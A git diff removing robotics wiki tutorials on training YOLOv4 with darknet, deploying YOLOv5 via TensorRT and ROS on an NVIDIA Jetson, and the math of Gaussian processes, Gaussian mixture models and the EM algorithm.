.jpg format. - -Put all the images for the dataset into a folder called “images” - -### Step 2: Get the labels -#### If you already have labels: - -**Check to see if the labels are in the darknet format.** -If they are, put all of the labels for the images into a folder called “labels”. - -Darknet labels are accepted as: -` ` -Where: -`` - integer object number from 0 to (classes-1) -` ` - float values relative to width and height of image, it can be equal from (0.0 to 1.0] -for example: ` = / ` or ` = / ` -` ` - are center of rectangle (not top-left corner) - -**If you have labels for the images, but they are not in the darknet format:** -*Option 1:* Use Roboflow -Roboflow is an online tool that can convert many standard label formats between one and another. The first 1,000 images are free, but it costs $0.004 per image above that. Visit [Roboflow](https://roboflow.com/formats) - -*Option 2:* Write a script and convert the labels to the darknet format yourself. - -Put all of the newly converted labels for the images into a folder called “labels”. - -#### If you need to make labels for the images: -Create labels for all of the images using Yolo_mark [2]. The repo and instructions for use can be found [here](https://github.com/AlexeyAB/Yolo_mark). These labels will automatically be made in the darknet format. Put all of the labels for the images into a folder called “labels”. - -### Step 3: Create the text files that differentiate the test, train, and validation datasets. - - - Make a text file with the names of the image files for all of the images in the train dataset separated by a new line. Call this file “train.txt”. - - - Make a text file with the names of the image files for all of the images in the validation dataset separated by a new line. Call this file “valid.txt”. - - - Make a text file with the names of the image files for all of the images in the test dataset separated by a new line. Call this file “test.txt”. - -## Running Darknet -### Step 1: Get the Darknet Repo locally and set up the data folders -**If you do not already have the darknet github repo [1]:** -```$ git clone https://github.com/AlexeyAB/darknet ``` - -**If you already have the github repo:** -```$ git pull``` - - -### Step 2: Make Darknet -```$ cd ./darknet ``` - -**Check the Makefile and make sure the following as set as such:** -``` -GPU=1 -CUDNN=1 -OPENCV=1 -``` -Save any changes and close the file. - -**Compile darknet** -```$ make ``` - -### Step 3: Setup the darknet/data folder -Move the “images” and” labels” folders as well as the test.txt, train.txt, and valid.txt into the darknet/data folder - -### Step 4: Setup the cfg folder -#### Create a new cfg folder in darknet: -``` -$ mkdir custom_cfg -$ cd custom_cfg -``` -#### Create the file that names the classes: -``` -$ touch custom.names -``` -Populate it with the names of the classes in the order of the integer values assigned to them in the darknet label format separated by new lines. - -For example: -``` -Light switch -Door handle -Table -``` -Then in the labels, a light switch bounding box would be labeled with `0` and a table labeled with `2`. - -#### Create the data file that points to the correct datasets: -``` -$ touch custom.data -``` -In custom.data, copy the following -``` -classes= -train = ./data/train.txt -valid = ./data/valid.txt -names =./custom_cfg/custom.names -backup = ./backup -eval=coco -``` -Where `` is equal to an integer value corresponding to the distinct number of classes to train on in the dataset. - -#### Create the cfg files -**Copy the cfg files to the custom cfg directory:** -``` -$ cp cfg/yolov4-custom.cfg custom_cfg/ -$ cp cfg/yolov4-tiny-custom.cfg custom_cfg/ -``` -**Edit the variables in the cfg files that are directly related to the dataset.** -> This information is taken from the darknet README but listed here for your convenience. - -If you are training YOLOv4, make these changes in ```custom_cfg/yolov4-custom.cfg```. -If you are training YOLOv4-tiny make these changes in ```custom_cfg/yolov4-tiny-custom.cfg```. - - - change line batch to: `batch=64` - - change line subdivisions to: `subdivisions=16` - - change line max_batches to: `max_batches=` - > this number should not be less than number of training images, so raise it if necessary for your dataset - - change line steps to: `steps=<80% max_batches>, <90% max_batches>` - - set network size `width=416 height=416` or any value multiple of 32: - - change classes to: `classes=` - - change `filters=255` to `filters=<(num_classes + 5)x3>` in the 3 `[convolutional]` before each `[yolo]` layer, keep in mind that it only has to be the last `[convolutional]` before each of the `[yolo]` layers. - - -### Step 5: Download the weights files -For Yolov4, download [this file](https://github.com/AlexeyAB/darknet/releases/download/darknet_yolo_v3_optimal/yolov4.conv.137) and put it in darknet/custom_cfg/ - - -For Yolov4-tiny, download [this file](https://github.com/AlexeyAB/darknet/releases/download/darknet_yolo_v4_pre/yolov4-tiny.conv.29) and put it in darknet/custom_cfg/ - - -### Step 6: Modify the config files for mAP improvement - - Edits will be in yolov4-tiny-custom.cfg or yolov4-custom.cfg depending on if you are running YOLOv4-tiny or YOLOv4, respectively - - Make sure you aren't repeating a trial already tested - - Document your training configurations and save the config file, best weights, and the mAP graph for each iteration of training - - See the Tips & Tricks section for recommendations to improve mAP - - -### Step 6: Run Darknet -**Compile darknet again after making changes** -```$ make ``` - -#### Options for how to run darknet -**To run YOLOv4 on darknet in the foreground:** -```$ ./darknet detector train custom_cfg/custom.data custom_cfg/yolov4-custom.cfg custom_cfg/yolov4.conv.137 -map``` - -**To run YOLOv4-tiny on darknet in the foreground:** -```$ ./darknet detector train custom_cfg/custom.data custom_cfg/yolov4-tiny-custom.cfg custom_cfg/yolov4-tiny.conv.29 -map ``` - -**To run YOLOv4 on darknet in the background and pass output to a log:** -```$ ./darknet detector train custom_cfg/custom.data custom_cfg/yolov4-custom.cfg custom_cfg/yolov4.conv.137 -map > ./logs/darknet_logs_.log 2>&1 & ``` - -**To run YOLOv4-tiny on darknet in the background and pass output to a log:** -```$ ./darknet detector train custom_cfg/custom.data custom_cfg/yolov4-tiny-custom.cfg custom_cfg/yolov4-tiny.conv.29 -map > ./logs/darknet_logs_.log 2>&1 & ``` - - -#### Check jobs to show command running: -```$ jobs ``` - -#### Show log: -```$ tail -f ./logs/darknet_logs_.log ``` - -**Note**: if running in the background, Ctrl+C will not terminate darknet, but closing the terminal will - -At the end of training, find the weights in the backup folder. Weights will be saved every 1,000 iterations. Choose the weights file that corresponds with the highest mAP to save. - -**Repeat Steps 5 & 6 until a desired mAP is achieved.** - - -## Tips and Tricks for Training -### Train with mAP Graph -```./darknet detector train data/obj.data yolo-obj.cfg yolov4.conv.137 -map``` - -### Change Network Image Size -Set network size width=416 height=416 or any value multiple of 32 - -### Optimize Memory Allocation During Network Resizing -Set random=1 in cfg -This will increase precision by training Yolo for different resolutions. - -### Add Data Augmentation -[net] mixup=1 cutmix=1 mosaic=1 blur=1 in cfg - -### For Training with Small Objects - - Set layers = 23 instead of [this](https://github.com/AlexeyAB/darknet/blob/6f718c257815a984253346bba8fb7aa756c55090/cfg/yolov4.cfg#L895) - - set stride=4 instead of [this](https://github.com/AlexeyAB/darknet/blob/6f718c257815a984253346bba8fb7aa756c55090/cfg/yolov4.cfg#L892) - - set stride=4 instead of [this](https://github.com/AlexeyAB/darknet/blob/6f718c257815a984253346bba8fb7aa756c55090/cfg/yolov4.cfg#L989) - -### For Training with Both Large and Small Objects -Use modified models: - - Full-model: [5 yolo layers](https://raw.githubusercontent.com/AlexeyAB/darknet/master/cfg/yolov3_5l.cfg) - - Tiny-model: [3 yolo layers](https://raw.githubusercontent.com/AlexeyAB/darknet/master/cfg/yolov4-tiny_3l.cfg) - - YOLOv4: [3 yolo layers](https://raw.githubusercontent.com/AlexeyAB/darknet/master/cfg/yolov4-custom.cfg) - -### Calculate Anchors for Custom Data Set - - ./darknet detector calc_anchors data/obj.data -num_of_clusters 9 -width 416 -height 416 - - Set the same 9 anchors in each of 3 [yolo]-layers in your cfg-file - - Change indexes of anchors masks= for each [yolo]-layer, so for YOLOv4 the 1st-[yolo]-layer has anchors smaller than 30x30, 2nd smaller than 60x60, 3rd remaining - - Change the filters=(classes + 5)* before each [yolo]-layer. If many of the calculated anchors do not fit under the appropriate layers - then just try using all the default anchors. - -## Summary -We reviewed the start to finish process of using YOLO and darknet to detect objects from a custom dataset. This included going over the darknet dependencies, dataset engineering for format compatibilities, setting up and running darknet, and improving mAP across training iterations. - -## See Also: -- [Integrating darknet with ROS](https://github.com/RoboticsKnowledgebase/roboticsknowledgebase.github.io.git/wiki/common-platforms/ros/ros-yolo-gpu.md) - -## Further Reading -- Learn more about YOLO and the various versions of it [here](https://towardsdatascience.com/yolo-v4-or-yolo-v5-or-pp-yolo-dad8e40f7109) - -## References -[1] AlexeyAB (2021) darknet (Version e83d652). . -[2] AlexeyAB (2019) Yolo_mark (Version ea049f3). . - - -/wiki/machine-learning/yolov5-tensorrt/ ---- -date: 2021-11-28 -title: YOLOv5 Training and Deployment on NVIDIA Jetson Platforms ---- - -Object detection with deep neural networks has been a crucial part of robot perception. Among object detection models, single-stage detectors, like YOLO, are typically more lightweight and suitable for mobile computing platforms. In the meantime, NVIDIA has developed the Jetson computing platforms for edge AI applications, supporting CUDA GPU acceleration. Compared with desktop or laptop GPUs, Jetson’s GPUs have lower computation capacity; therefore, more care should be taken on the selection of neural network models and fine-tuning on both speed and performance. - -This article uses YOLOv5 as the objector detector and a Jetson Xavier AGX as the computing platform. It will cover setting up the environment, training YOLOv5, and the deployment commands and code. Please note that unlike the deployment pipelines of previous YOLO versions, this tutorial’s deployment of YOLOv5 doesn’t rely on darknet_ros, and at runtime, the program only relies on C++, ROS, and TensorRT. - -## Jetson Xavier AGX Setup - -Setting up the Jetson Xavier AGX requires an Ubuntu host PC, on which you need to install the NVIDIA SDK Manager. This program allows you to install Jetpack on your Jetson, which is a bundled SDK based on Ubuntu 18.04 and contains important components like CUDA, cuDNN and TensorRT. Note that as of 2021, Jetpack does not officially support Ubuntu 20.04 on the Jetsons. Once you have the SDK Manager ready on your Ubuntu host PC, connect the Jetson to the PC with the included USB cable, and follow the onscreen instructions. - -Note that some Jetson models including the Xavier NX and Nano require the use of an SD card image to set up, as opposed to a host PC. - -After setting up your Jetson, you can then install ROS. Since Jetson runs on Ubuntu 18.04, you’ll have to install ROS Melodic. Simply follow the instructions on rog.org: [ROS Melodic Installation](http://wiki.ros.org/melodic/Installation/Ubuntu) - -## Training YOLOv5 or Other Object Detectors - -A deep neural net is only as good as the data it’s been trained on. While there are pretrained YOLO models available for common classes like humans, if you need your model to detect specific objects you will have to collect your own training data. - -For good detection performance, you will need at least 1000 training images or more. You can collect the images with any camera you would use, including your phone. However, you need to put a lot of thought into where and how you’ll take the images. What type of environment will your robot operate in? Is there a common backdrop that the robot will see the class objects in? Is there any variety among objects of the same class? What distance/angle will the robot see the objects from? The answers to these questions will heavily inform your ideal dataset. If your robot will operate in a variety of indoor/outdoor environments with different lighting conditions, your dataset should have similar varieties (and in general, more variety = more data needed!). If your robot will only ever operate in a single room and recognize only two objects, then it’s not a bad idea to take images of only these two objects only in that room. Your model will overfit to that room in that specific condition, but it will be a good model if you’re 100% sure it’s the only use case you ever need. If you want to reinforce your robot’s ability to recognize objects that are partially occluded, you should include images where only a portion of the object is visible. Finally, make sure your images are square (1:1 aspect ratio, should be an option in your camera app). Neural nets like square images, and you won’t have to crop, pad or resize them which could undermine the quality of your data. - -Once you have your raw data ready, it’s time to process them. This includes labeling the classes and bounding box locations as well as augmenting the images so that the model trained on these images are more robust. There are many tools for image processing, one of which is Roboflow which allows you to label and augment images for free (with limitations, obviously). The labeling process will be long and tedious, so put on some music or podcasts or have your friends or teammates join you and buy them lunch later. For augmentation, common tricks include randomized small rotations, crops, brightness/saturation adjustments, and cutouts. Be sure to resize the images to a canonical size like 416x416 (commonly used for YOLO). If you feel that your Jetson can handle a larger image size, try something like 640x640, or other numbers that are divisible by 32. Another potentially useful trick is to generate the dataset with the same augmentations twice; you will get two versions of the same dataset, but due to the randomized augmentations the images will be different. Like many deep learning applications, finding the right augmentations involves some trial-and-error, so don’t be afraid to experiment! - -Once you have the dataset ready, time to train! Roboflow has provided tutorials in the form of Jupyter Notebooks, which contains all the repos you need to clone, all the dependencies you need to install, and all the commands you need to run: -- [The old version of the training jupyter notebook](https://colab.research.google.com/drive/1gDZ2xcTOgR39tGGs-EZ6i3RTs16wmzZQ) (The version that the authors tested on) -- [The new version of the training jupyter notebook](https://github.com/roboflow-ai/yolov5-custom-training-tutorial/blob/main/yolov5-custom-training.ipynb) (A newer version published by Roboflow) - - -After training is finished, the training script will save the model weights to a .pt file, which you can then transform to a TensorRT engine. - -## Transforming a Pytorch Model to a TensorRT Engine - -YOLOv5's official repository provides an exporting script, and to simplify the post-processing steps, please checkout a newer commit, eg. “070af88108e5675358fd783aae9d91e927717322”. At the root folder of the repository, run `python export.py --weights WEIGHT_PATH/WEIGHT_FILE_NAME.pt --img IMAGE_LENGTH --batch-size 1 --device cpu --include onnx --simplify --opset 11`. There’ll be a .onnx file generated next to the .pt file, and [netron](https://netron.app/) provides a tool to easily visualize and verify the onnx file. For example, if the image size is 416x416, the model is YOLOv5s and the class number is 2, you should see the following input and output structures: - -![Figure 1. YOLOv5 onnx visualization (the input part)](/assets/images/machine-learning/yolov5_onnx_input.png) - -![Figure 2. YOLOv5 onnx visualization (the output part)](/assets/images/machine-learning/yolov5_onnx_output.png) - -After moving the .onnx file to your Jetson, run `trtexec --onnx=ONNX_FILE.onnx --workspace=4096 --saveEngine=ENGINE_NAME.engine --verbose` to obtain the final TensorRT engine file. The 4096 is the upper bound of the memory usage and should be adapted according to the platform. Besides, if there’s no trtexec command while TensorRT was installed, add `export PATH=$PATH:/usr/src/tensorrt/bin` to your `~/.bashrc` or `~/.zshrc`, depending on your default shell. - -You don’t need to specify the size of the model here, because the input and output sizes have been embedded into the onnx file. For advanced usage, you may specify the dynamic axes on your onnx file, and at the trtexec step, you should add `--explicitBatch --minShapes=input:BATCH_SIZExCHANNELxHEIGHTxWIDTH --optShapes=input:BATCH_SIZExCHANNELxHEIGHTxWIDTH --maxShapes=input:BATCH_SIZExCHANNELxHEIGHTxWIDTH `. - -To achieve better inference speed, you can also add the `--fp16` flag. This could theoretically reduce 50% of the computation time. - -## Integrating TensorRT Engines into ROS - -First, under a ROS package, add the following content to your CMakeLists.txt -``` -find_package(CUDA REQUIRED) -message("-- CUDA version: ${CUDA_VERSION}") - -find_package(OpenCV REQUIRED) - -# cuda -include_directories(/usr/local/cuda/include) -link_directories(/usr/local/cuda/lib64) -# tensorrt -include_directories(/usr/include/aarch64-linux-gnu/) -link_directories(/usr/lib/aarch64-linux-gnu/) -``` - -For the executable or library running the TensorRT engine, in `target_include_directories`, add `\${OpenCV_INCLUDE_DIRS} \${CUDA_INCLUDE_DIRS}`, and in `target_link_libraries`, add `\${OpenCV_LIBS} nvinfer cudart`. - -In the target c++ file, create the following global variables. The first five variables are from TensorRT or CUDA, and the other variables are for data input and output. The `sample::Logger` is defined in `logging.h`, and you can download that file from TensorRT’s Github repository in the correct branch. For example, this is the [link](https://github.com/NVIDIA/TensorRT/blob/release/8.0/samples/common/logging.h) to that file for TensorRT v8. -``` -sample::Logger gLogger; -nvinfer1::ICudaEngine *engine; -nvinfer1::IExecutionContext *context; -nvinfer1::IRuntime *runtime; -cudaStream_t stream; -``` - -Beyond that, you should define the GPU buffers and CPU variables to handle the input to and output from the GPU. The buffer size is 5 here because there are one input layer and four output layers in the onnx file. INPUT_SIZE and OUTPUT_SIZE are equal to their batch_size * channel_num * image_width * image_height. -``` -constexpr int BUFFER_SIZE = 5; -// buffers for input and output data -std::vector buffers(BUFFER_SIZE); -std::shared_ptr input_data - = std::shared_ptr(new float[INPUT_SIZE]); -std::shared_ptr output_data - = std::shared_ptr(new float[OUTPUT_SIZE]); -``` - -Before actually running the engine, you need to initialize the “engine” variable, and here’s an example function. This function will print the dimensions of all input and output layers if the engine is successfully loaded. -``` -void prepareEngine() { - const std::string engine_path = “YOUR_ENGINE_PATH/YOUR_ENGINE_FILE_NAME"; - ROS_INFO("engine_path = %s", engine_path.c_str()); - std::ifstream engine_file(engine_path, std::ios::binary); - - if (!engine_file.good()) { - ROS_ERROR("no such engine file: %s", engine_path.c_str()); - return; - } - - char *trt_model_stream = nullptr; - size_t trt_stream_size = 0; - engine_file.seekg(0, engine_file.end); - trt_stream_size = engine_file.tellg(); - engine_file.seekg(0, engine_file.beg); - trt_model_stream = new char[trt_stream_size]; - assert(trt_model_stream); - engine_file.read(trt_model_stream, trt_stream_size); - engine_file.close(); - - runtime = nvinfer1::createInferRuntime(gLogger); - assert(runtime != nullptr); - engine = runtime->deserializeCudaEngine(trt_model_stream, trt_stream_size); - assert(engine != nullptr); - context = engine->createExecutionContext(); - assert(context != nullptr); - if (engine->getNbBindings() != BUFFER_SIZE) { - ROS_ERROR("engine->getNbBindings() == %d, but should be %d", - engine->getNbBindings(), BUFFER_SIZE); - } - - // get sizes of input and output and allocate memory required for input data - // and for output data - std::vector input_dims; - std::vector output_dims; - for (size_t i = 0; i < engine->getNbBindings(); ++i) { - const size_t binding_size = - getSizeByDim(engine->getBindingDimensions(i)) * sizeof(float); - if (binding_size == 0) { - ROS_ERROR("binding_size == 0"); - - delete[] trt_model_stream; - return; - } - - cudaMalloc(&buffers[i], binding_size); - if (engine->bindingIsInput(i)) { - input_dims.emplace_back(engine->getBindingDimensions(i)); - ROS_INFO("Input layer, size = %lu", binding_size); - } else { - output_dims.emplace_back(engine->getBindingDimensions(i)); - ROS_INFO("Output layer, size = %lu", binding_size); - } - } - - CUDA_CHECK(cudaStreamCreate(&stream)); - - delete[] trt_model_stream; - - ROS_INFO("Engine preparation finished"); -} -``` - -At runtime, you should first copy the image data into the input_data variable. The following code snippet shows a straightforward solution. Please note that OpenCV's cv::Mat has HWC (height - width - channel) layout, while TensorRT by default takes BCHW (Batch - channel - height - width) layout data. -``` - int i = 0; - for (int row = 0; row < image_size; ++row) { - for (int col = 0; col < image_size; ++col) { - input_data.get()[i] = image.at(row, col)[0]; - input_data.get()[i + image_size * image_size] = - image.at(row, col)[1]; - input_data.get()[i + 2 * image_size * image_size] = - image.at(row, col)[2]; - ++i; - } - } -``` -Then, you can use the following lines of code to run the engine through its context object. The first line copies the input image data into buffers[0]. The second last line copies buffers[4], the combined bounding box output layer, to our output_data variable. In our onnx file example, this layer corresponds to 1 batch_size, 10647 bounding box entries, and 7 parameters describing each bounding box. The 7 parameters are respectively tx, ty, tw, th, object confidence value, and the two scores for the two classes, where tx, ty, tw and th means the center x, center y, width, and height of the bounding box. -``` - - CUDA_CHECK(cudaMemcpyAsync(buffers[0], input_data.get(), - input_size * sizeof(float), cudaMemcpyHostToDevice, - stream)); - context->enqueue(1, buffers.data(), stream, nullptr); - CUDA_CHECK(cudaMemcpyAsync(output_data.get(), buffers[4], - output_size * sizeof(float), - cudaMemcpyDeviceToHost, stream)); - cudaStreamSynchronize(stream); -``` - -The last step is the non-maximum suppression for those bounding boxes. Separately store bounding boxes according to their class id, and only keep boxes with object confidence values higher than a predefined threshold, eg. 0.5. Sort the bounding boxes from higher confidence value to lower ones, and for each bounding box, remove others with lower confidence values and intersection over union (IOU) higher than another predefined threshold, eg. 40%. To understand better about this process, please refer to [non-maximum explanation](https://www.youtube.com/watch?v=YDkjWEN8jNA). - -The code of the above deployment process is available on [Github](https://github.com/Cola-Robotics/cola-object-detection). - -## Further Reading -- [TensorRT tutorial from learnopencv](https://learnopencv.com/how-to-run-inference-using-tensorrt-c-api/) -- [A thrid party implementation of YOLOv5 with TensorRT](https://github.com/wang-xinyu/tensorrtx/blob/master/yolov5) \ No newline at end of file diff --git a/wiki/math/__all_subsections.md b/wiki/math/__all_subsections.md deleted file mode 100644 index e5399ca2..00000000 --- a/wiki/math/__all_subsections.md +++ /dev/null @@ -1,319 +0,0 @@ -/wiki/math/gaussian-process-gaussian-mixture-model/ ---- -date: 2019-12-16 -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. You should set the article's title: -title: Guassian Process and Gaussian Mixture Model -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - -This document acts as a tutorial on Gaussian Process(GP), Gaussian Mixture Model, Expectation Maximization Algorithm. We recently ran into these approaches in our robotics project that having multiple robots to generate environment models with minimum number of samples. - -You will be able to have a basic understanding on Gaussian Process (what is it and why it is very popular), Gaussian Mixture Model and Expectation Maximization Algorithm after this tutorial. - -# Table of Contents -1. [Gausssian Process](#Gausssian-Process) -3. [Gaussian Mixture Model](#Gaussian-Mixture-Model) -4. [Expectation Maximization Algorithm](#Expectation-Maximization-Algorithm) -7. [Summary](#Summary) -8. [References](#References) - -## Gausssian Process - -### What is GP? -A Gaussian Process(GP) is a probability distribution over functions \\( p(\textbf{f}) \\) , where the functions are defined by a set of random function variables \\(\textbf{f} = \{f_1, f_2, . . . , f_N\}\\). For a GP, any finite linear combination of those function variables has a joint (zero mean) Gaussian distribution. It can be used for nonlinear regression, classification, ranking, preference learning, ordinal regression. In robotics, it can be applied to state estimation, motion planning and in our case environment modeling. - -GPs are closely related to other models and can be derived using bayesian kernel machines, linear regression with basis functions, infinite multi-layer perceptron neural networks (it becomes a GP if there are infinitely many hidden units and Gaussian priors on the weights), spline models. A simple connections between different methods can be found in the following figure. -![](/assets/images/math/gpConnection.png) - - - - - - - -Before all the equations, lets have a look at why do we want to use GP? -### Why do we want to use GP? -The major reasons why GP is popular includes: -1. It can handle uncertainty in unknown function by averaging, not minimizing as GP is rooted in probability and bayesian inference.![](/assets/images/math/uncertainty.png) -Classifier comparison(https://scikit-learn.org/stable/auto_examples/classification/plot_classifier_comparison.html) This property is not commonly shared by other methods. For example, in the above classification method comparison. Neural nets and random forests are confident about the points that are far from the training data. -2. We can incorporate prior knowledge by choosing different kernels -3. GP can learn the kernel and regularization parameters automatically during the learning process. (GP is a non-parametric model, but all data are needed to generate the model. In other words, it need finite but unbounded number of parameters that grows with data.) -4. It can interpolate training data. - -### Gaussian Process for Regression -In this section, we will show how to utilize GP for solving regression problems. The key idea is to map the independent variables from low-dimensional space to high-dimensional space. The idea is similar to the kernel function in support vector machine, where the linear-inseparable data in the low-dimensional space can be mapped to a high-dimensional where the data can be separated by a hyper-plane. - -When using Gaussian process regression, there is no need to specify the specific form of f(x), such as \\( f(x)=ax^2+bx+c \\). The observations of n training labels \\( y_1, y_2, ..., y_n \\) are treated as points sampled from a multidimensional (n-dimensional) Gaussian distribution. - -For a given training examples \\( x_1, x_2, ..., x_n \\) and the corresponding observations \\(y_1, y_2, ..., y_n \\), the target \\( y \\) can be modeled by an implicit function \\(f(x)\\). Since the observations are usually noisy, each observation y is added with a Gaussian noise. - -\\[ y = f(x) + N(0, \sigma^2_n) \\] - -\\( f(x) \\) is assumed to have a prior \\( f(x) \sim GP(0,K_{xx}) \\), where \\(K_{xx}\\) is the covariance matrix. There are multiple method to formulate the covariance here. You can also use a combination of covariance functions. Since the mean is assumed to be zero, the final result depends largely on the choice of covariance function. - -Suppose we have a dataset containing \\( n \\) training examples \\( (x_i, y_i) \\), and we want to predict the value \\( y^* \\) given \\( x^* \\). After adding the unknown value, we get a variable of \\( (n+1) \\) dimension. - -$$ \left[\begin{array}{c} -y_{1} \\ -\vdots \\ -y_{n} \\ -f\left(x^{*}\right) -\end{array}\right] \sim \mathcal{N}\left(\left[\begin{array}{c} -0 \\ -0 -\end{array}\right],\left[\begin{array}{cc} -K_{x x}+\sigma_{n}^{2} I & K_{x x}^{T} \\ -K_{x x}^{2} & k\left(x^{*}, x^{*}\right) -\end{array}\right]\right) $$ - -where, - -\\[K_{x x^{* }}=\left[k\left(x_{1}, x^{* }\right) \ldots k\left(x_{n}, x^{* }\right)\right ] \\] - -Hence, the problem can be convert into a conditional probability problem, i.e. solving \\( f(x^* )\|\mathbf{y}(\mathbf{x}) \\). - -\\[ f\left(x^{* }\right) \| \mathbf{y}(\mathbf{x}) \sim \mathcal{N}\left(K_{x x^{* }} M^{-1} \mathbf{y}(\mathbf{x}), k\left(x^{* }, x^{* }\right)-K_{x x^{* }} M^{-1} K_{x^{* } x}^{T}\right)\\] - -where \\( M=K_{x x}+\sigma_{n}^{2} I \\), hence the expectation of \\( y^* \\) is - -\\[ E\left(y^{* }\right)=K_{x x^{* }} M^{-1} \mathbf{y}(\mathbf{x})\\] - -The variance is -\\[ \operatorname{Var}\left(y^{* }\right)=k\left(x^{* }, x^{* }\right)-K_{x x^{* }} M^{-1} K_{x^{* } x}^{T}\\] - - - -## Gaussian Mixture Model -### Mixture model -The mixture model is a probabilistic model that can be used to represent K sub-distributions in the overall distribution. In other words, the mixture model represents the probability distribution of the observed data in the population, which is a mixed distribution consisting of K sub-distributions. When calculating the probability of the observed data in the overall distribution, the mixture model does not require the information about the sub-distribution in the observation data. - -### Gaussian Model -When the sample data X is univariate, the Gaussian distribution follows the probability density function below. -\\[ P(x\|\theta)=\frac{1}{\sqrt{2\pi \sigma^2}}exp(-\frac{(x-\mu)^2}{2\sigma^2}) \\] - -While \\( \mu \\) is the average value of the data (Expectations), \\( \sigma \\) is the standard deriviation. - -When the sample data is multivariate, the Gaussian distribution follows the probability density function below. -\\[ P(x|\theta)=\frac{1}{(2\pi)^{\frac{D}{2}} |\Sigma|^{\frac{1}{2}}}exp(-\frac{(x-\mu)^T\Sigma^{-1}(x-\mu)}{2}) \\] - -While \\( \mu \\) is the average value of the data (Expectations), \\( \Sigma \\) is the covariance, D is the dimention of the data. - -### Gaussian Mixture Model -The Gaussian mixture model can be regarded as a model composed of K single Gaussian models, which are hidden variables of the hybrid model. In general, a mixed model can use any probability distribution. The Gaussian mixture model is used here because the Gaussian distribution has good mathematical properties and good computational performance. - -For example, we now have a bunch of samples of dogs. Different types of dogs have different body types, colors, and looks, but they all belong to the dog category. At this time, the single Gaussian model may not describe the distribution very well since the sample data distribution is not a single ellipse. However, a mixed Gaussian distribution can better describe the problem, as shown in the following figure: -![](/assets/images/math/mixedGaussian.jpg) - -Define: -* \\( x_j \\) is the number \\( j \\) of the observed data, \\( j = 1, 2, ..., N \\) -* \\( k \\) is the number of Gaussians in the mixture model, \\( k = 1, 2, ..., K \\) -* \\( \alpha_k \\)is the probability that the observed data is from the \\( k \\)th gaussian, \\( \alpha_k > 0 \\), \\( \Sigma_{k=1}^{K}\alpha_k=1 \\) -* \\( \phi(x\|\theta_k) \\) is the gaussian density function of the \\( k \\)th sub-model, \\( \theta_k = (\mu, \sigma^2_k) \\) -* \\( \gamma_{jk} \\) is the probability that the \\( j \\)th observed data is from the \\( k \\)th gaussian. - -The probablity distribution of the gaussian mixture model: -\\[ P(x|\theta)= \Sigma^K_{k=1} \alpha_k\phi(x|\theta_k) \\] - -As for this model, \\( \theta = (\mu_k, \sigma_k, \alpha_k) \\), which is the expectation, standard deriviation (or covariance) and the probability of the mixture model. - -### Learning the parameters of the model -As for the single, we can use Maximum Likelihood to estimate the value of parameter \\( \theta \\) -\\[ \theta = argmax_\theta L(\theta) \\] - -We assume that each data point is independent and the likelihood function is given by the probability density function. -\\[ L(\theta) = \Pi^N_{j=1}P(x_j|\theta) \\] - -Since the probability of occurrence of each point is very small, the product becomes extremely small, which is not conducive to calculation and observation. Therefore, we usually use Maximum Log-Likelihood to calculate (because the Log function is monotonous and does not change the position of the extreme value, At the same time, a small change of the input value can cause a relatively large change in the output value): -\\[ logL(\theta) = \Sigma^N_{j=1}logP(x_j\|\theta) \\] - - -As for the Gaussian Mixture Model, the Log-likelihood function is: -\\[ logL(\theta) = \Sigma^N_{j=1}logP(x_j\|\theta) = -\Sigma^N_{j=1}log(\Sigma^K_{k=1})\alpha_k \phi(x\|\theta_k) \\] - -So how do you calculate the parameters of the Gaussian mixture model? We can't use the maximum likelihood method to find the parameter that maximizes the likelihood like the single Gaussian model, because we don't know which sub-distribution it belongs to in advance for each observed data point. There is also a summation in the log. The sum of the K Gaussian models is not a Gaussian model. For each submodel, there is an unknown \\( (\mu_k, \sigma_k, \alpha_k) \\), and the direct derivation cannot be calculated. It need to be solved by iterative method. - -## Expectation Maximization Algorithm -The EM algorithm is an iterative algorithm, summarized by Dempster et al. in 1977. It is used as a maximum likelihood estimation of probabilistic model parameters with Hidden variables. - -Each iteration consists of two steps: - -* E-step: Finding the expected value \\( E(\gamma_{jk}\|X,\theta) \\) for all \\( j = 1, 2, ..., N \\) -* M-step: Finding the maximum value and calculate the model parameters of the new iteration - -The general EM algorithm is not specifically introduced here (the lower bound of the likelihood function is obtained by Jensen's inequality, and the maximum likelihood is maximized by the lower bound). We will only derive how to apply the model parameters in the Gaussian mixture model. - -The method of updating Gaussian mixture model parameters by EM iteration (we have sample data \\( x_1, x_2, ..., x_N \\) and a Gaussian mixture model with \\( K\\) submodels, we want to calculate the optimal parameters of this Gaussian mixture model): - -* Initialize the parameters -* E-step: Calculate the possibility that each data \\( j\\) comes from the submodel \\( k\\) based on the current parameters -\\[ \gamma_{jk} = \frac{\alpha_k\phi(x_j\|\theta_k)}{\Sigma_{k=1}^K\alpha_k\phi(x_j\|\theta_k)}, j=1 , 2,...,N; k=1, 2, ..., K \\] - -* M-step: Calculate model parameters for a new iteration -\\[ \mu_k = \frac{\Sigma_j^N(\gamma_{jk}x_j)}{\Sigma_j^N\gamma_{jk}}, k=1,2,...,K \\] -\\[ \Sigma_k = \frac{\Sigma_j^N\gamma_{jk}(x_j-\mu_k)(x_j-\mu_k)^T}{\Sigma_j^N\gamma_{jk}}, k=1,2,...,K \\] -\\[ \alpha_k = \frac{\Sigma_j^N\gamma_{jk}}{N}, k=1,2,...,K \\] -* Repeat the calculation of E-step and M-step until convergence (\\( \|\|\theta_{i+1}-\theta_i\|\|<\epsilon \\), \\( \epsilon \\) is a small positive number, indicating that the parameter changes very small after one iteration) - -At this point, we have found the parameters of the Gaussian mixture model. It should be noted that the EM algorithm has a convergence, but does not guarantee that the global maximum is found since it is possible to find the local maximum. The solution is to initialize several different parameters to iterate and take the best result. - -## Summary -A Gaussian Process(GP) is a probability distribution over functions. It can be used for nonlinear regression, classification, ranking, preference learning, ordinal regression. In robotics, it can be applied to state estimation, motion planning and in our case environment modeling. It has the advantages of learning the kernel and regularization parameters, uncertainty handling, fully probabilistic predictions, interpretability. - -The Gaussian mixture model (GMM) can be regarded as a model composed of K single Gaussian models, which are hidden variables of the hybrid model. It utilizes Gaussian's good mathematical properties and good computational performance. - - Expectation Maximization Algorithm (EM) is a iterative algorithm that act as a maximum likelihood estimation of probabilistic model parameters with Hidden variables. - -## Further Reading -Here are some papers on using GP/GMM in robotics: -1. Learning Wheel Odometry and Imu Errors for Localization: https://hal.archives-ouvertes.fr/hal-01874593/document -2. Gaussian Process Estimation of Odometry Errors for Localization and Mapping: 